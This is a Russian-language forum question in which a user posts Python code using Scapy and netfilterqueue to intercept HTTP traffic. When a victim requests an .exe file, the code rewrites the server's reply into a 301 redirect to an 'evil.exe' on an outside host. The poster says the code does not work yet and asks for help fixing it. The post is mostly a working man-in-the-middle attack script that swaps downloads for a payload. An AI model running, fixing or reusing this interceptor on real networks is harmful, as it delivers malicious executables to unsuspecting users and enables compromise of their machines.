Перехватчик файлов с Python 3.7 и Scapy - PullRequest
0 голосов
/ 18 февраля 2020

Я пытался создать перехватчик файлов в python 3.7 с помощью scapy и nfqueue. Он изменяет данные загрузки, но на самом деле не работает. Вот код моего класса файловых перехватчиков

acklist = []



def process_packet(self, packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.TCP):
        if scapy_packet[scapy.TCP].dport == 80:
            if scapy_packet.haslayer(http.HTTPRequest):
                print(scapy_packet[http.HTTPRequest].Path.decode())
                if ".exe" in scapy_packet[http.HTTPRequest].Path.decode():
                    print("IT'S A REQUEST ANDI FOUND IT")
                    self.acklist.append(scapy_packet[scapy.TCP].ack)


            # print(scapy_packet[scapy.Raw].load).decode("hex")
                    # print(scapy_packet.show())

        elif scapy_packet[scapy.TCP].sport == 80:
            if(scapy_packet.haslayer(http.HTTPResponse)):

                if scapy_packet[scapy.TCP].seq in self.acklist :
                   if scapy_packet.haslayer(scapy.Raw):
                        self.acklist.remove(scapy_packet[scapy.TCP].seq )
                        scapy_packet[scapy.Raw].load ="HTTP/1.1 301 Moved Permanently\nLocation: http://theridaarif.com/filesfreak/evil.exe\n\n".encode()
                        del scapy_packet[scapy.IP].len
                        del scapy_packet[scapy.IP].chksum
                        del scapy_packet[scapy.TCP].chksum
                        packet.set_payload(bytes(scapy_packet))
                        print("Packet Changed...")
                        print(packet.show())

                print('EUREKAA')
                print(scapy_packet.show())


            else:
                print("NO WAY")
    else:
        print('NO')




    packet.accept()
    print("Packet Accepted...")



def run(self):
    print("File Queue running...")
    time.sleep(2)
    try:
        queue = netfilterqueue.NetfilterQueue()
        print("Queue running...")
        queue.bind(0, self.process_packet)
        queue.run()

    except Exception as e:
        raise Exception("Queue error")


def bind(self):
    t = Thread(target = self.run)
    t.start()

вот объект


file_interceptor = FileInterceptor()
file_interceptor.bind()

Я тоже изменил правила iptable. Вот ссылка, с которой я тестировал. Это мои собственные сайты, использующие http

http://theridaarif.com/filesfreak/ -> оригинальный файл http://theridaarif.com/filesfreak/evil.exe -> злой файл

Любая помощь будет цениться

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...